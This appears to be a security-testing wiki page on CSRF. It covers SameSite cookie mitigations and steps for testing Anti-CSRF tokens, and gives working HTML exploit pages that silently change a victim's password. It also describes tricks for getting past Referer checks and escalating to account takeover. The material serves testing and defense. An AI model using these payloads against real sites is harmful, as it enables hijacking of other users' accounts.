Cross-Site Request Forgery (CSRF)¶
A client-side technique used to attack other users of a web application. Using CSRF, attackers carry out unwanted actions on a victim's behalf.
Mitigations¶
Browsers¶
- Chrome 80 in February, 2020 started treating all cookies as
SameSite=lax
. It also required all cookies that were issued withSameSite=none
to have thesecure
attribute. This will prevent most CSRF attacks from succeeding, with a few exceptions. SameSite Chrome - Firefox Nightly 75 in February, 2020 does the same. SameSite Firefox
Developers¶
All session tokens should be issued with the Secure
attribute and a defined SameSite
attribute with either Lax
or Strict
. MDN SameSite Info
Hunting for CSRFs¶
- Look for state-changing actions, then examine them for the presence of Anti-CSRF Tokens. Some sites can use the
referer
header as a psuedo-CSRF protection. So once you have found a page that is likely vulnerable, verify it. - Try to send an invalid Anti-CSRF token and verify that it is rejected.
- Try to send the same request without the Anti-CSRF token and verify that it is rejected.
- Try to send the same request with a blank Anti-CSRF token and verify that it is rejected.
- Try to send the same request with a valid Anti-CSRF token from another session.
- If the same Anti-CSRF token is found in both the cookie and the form. Try changing them both to the same invalid value and submitting the form.
Exploit¶
POST¶
Here is an example exploit to change someones password using a POST
request.
<html>
<form method="POST" action="https://www.example.com/password_change" id="webForm">
<input type="text" name="new_password" value="now I know the password1!">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById("webForm").submit();
</script>
</html>
Some sites will accept the same stat-changing action as both a POST
and a GET
. Try and see if the site will allow a GET
request with the body items as URL parameters.
GET¶
An example exploit using a GET
request
<html>
<img src="https://www.example.com/password_change?new_password=now%20I%20know%20the%20password1!">
</html>
Referer Header¶
If the site is checking the Referer
header for psuedo-CSRF protection you may be able to remove the header all together (try content="no-referrer"
and content="none"
):
<html>
<meta name="referrer" content="no-referrer">
<form method="POST" action="https://www.example.com/password_change" id="webForm">
<input type="text" name="new_password" value="now I know the password1!">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById("webForm").submit();
</script>
</html>
If the website checks that the Referer
header starts with the proper domain, you may be able to create the real domain as a subdomain and exploit the CSRF attack. For example if the victim site is www.victim.com
and you own the site hackd.io
you can setup a webserver at www.victim.com.hackd.io
and it will pass the check. The same if the website uses something like contains
, this time you can simple make a page at https://hackd.io/www.victim.com
and it will pass.
Session Riding¶
If you have found an XSS vulnerability, you can use JavaScript to parse the form and get the correct Anti-CSRF token and submit it.
Escalate¶
Once a CSRF vulnerability has been found and verified, escalate the finding (based on capabilities of victim site):
- Leak user information
- Create self-XSS attack
- Take over account using change password/change email functionality